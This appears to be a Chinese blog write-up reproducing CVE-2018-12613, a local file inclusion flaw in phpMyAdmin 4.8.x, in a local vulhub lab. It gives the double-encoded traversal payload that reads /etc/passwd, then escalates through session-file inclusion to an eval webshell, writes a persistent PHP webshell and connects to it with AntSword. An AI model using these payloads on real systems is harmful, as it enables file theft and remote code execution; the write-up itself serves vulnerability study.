CVE-2018-12613 漏洞复现

Posted by sule01u on July 15, 2023

CVE-2018-12613 本地文件包含漏洞详解

前言

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

漏洞影响范围 phpmyadmin 4.8.0 & 4.8.1

漏洞原理

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并且执行。

  • 文件包含相关函数,代码审计时可关注如下几个函数
require()          # 函数出现错误的时候,会直接报错并退出程序的执行
require_once()     # 只包含一次
include()          # 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
include_once()     # 只包含一次
  • 在存在漏洞的phpmyadmin的源代码的index.php中, 就出现了include函数

image-20230716222403963

  • 根据上图,我们需要绕过前面几行条件的限制,条件如下

    • target参数不能为空
    • target参数必须为字符串
    • target 参数不能以index开头

    • target 参数不能出现在 $target_blacklist 内

      • 找到target_blacklist定义如下image-20230716224109344
    • 参数必须通过白名单验证

      • Core::checkPageValidity($_REQUEST[‘target’]),我们查看Core类checkPageValidity方法源代码

      image-20230716230259840

      • 白名单部分如下图所示

      截屏2023-07-16 23.31.44

      • 所以利用二次编码“%253f”可以绕过checkPageValidity()的检查!
    • 构造payload

      由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码

      1. checkPageValidity二次解码后,这个符合白名单验证,问号之前的文件在白名单之内

        /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
        
      2. 绕过验证后,index.php一次解码后,如下所示,可以实现任意路径的文件访问

        /index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
        
      3. 最终payload

        /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
        

漏洞验证

复现环境: /vulhub/phpmyadmin/CVE-2018-12613

# 切换到目标文件夹内,写你自己的路径
cd  /opt/vulhub/phpmyadmin/CVE-2018-12613 

# 拉取并启动容器
docker compose up -d

# 浏览器访问
http://localhost:8080

# 漏洞验证访问,/etc/passwd被读取,说明文件包含漏洞存在
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

截屏2023-07-16 23.13.27

漏洞利用

现在我们已经可以读取站点本地文件,那我们如何利用本地文件包含漏洞获取权限呢,?我们能写入一个webshell吗? 咋写呢?

​ maybe可以试试session, php session文件可以存储会话的一些信息,我们来试试

  • 执行 SQL语句 `SELECT ‘<?php phpinfo(); ?>’

image-20230717002336143

  • 根据session id查看session文件, cat /tmp/sess_06f6516222139397dee258dd594e5018

image-20230717002139736

  • 包含session文件
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_06f6516222139397dee258dd594e5018

​ 成功包含session文件并执行了phpinfo截屏2023-07-17 00.40.36

  • 既然可以通过session文件执行代码,那我们是否可以试试写入一句话木马

# 通过sql查询写入一句话木马到session文件
	select "<?php @eval($_GET['s']);?>"
	
# 根据session id访问session文件,测试参数 s 是否能够成功执行命令
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5e32e548ae8bb49bc7110dc2ec0ae06c?s=phpinfo();

​ 成功执行phpinfo();

截屏2023-07-17 01.17.45

  • 写webshell
http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5e32e548ae8bb49bc7110dc2ec0ae06c&s=fputs(fopen(%27x.php%27,%27w%27),%27%3C?php%20@eval($_POST[pass])?%3E%27);

查看web目录下是否成功写入, cat /var/www/html/x.php, 已成功写入一句话木马

截屏2023-07-17 01.23.08

蚁剑连接一句话木马

截屏2023-07-17 01.25.38

成功获取shell

截屏2023-07-17 01.25.17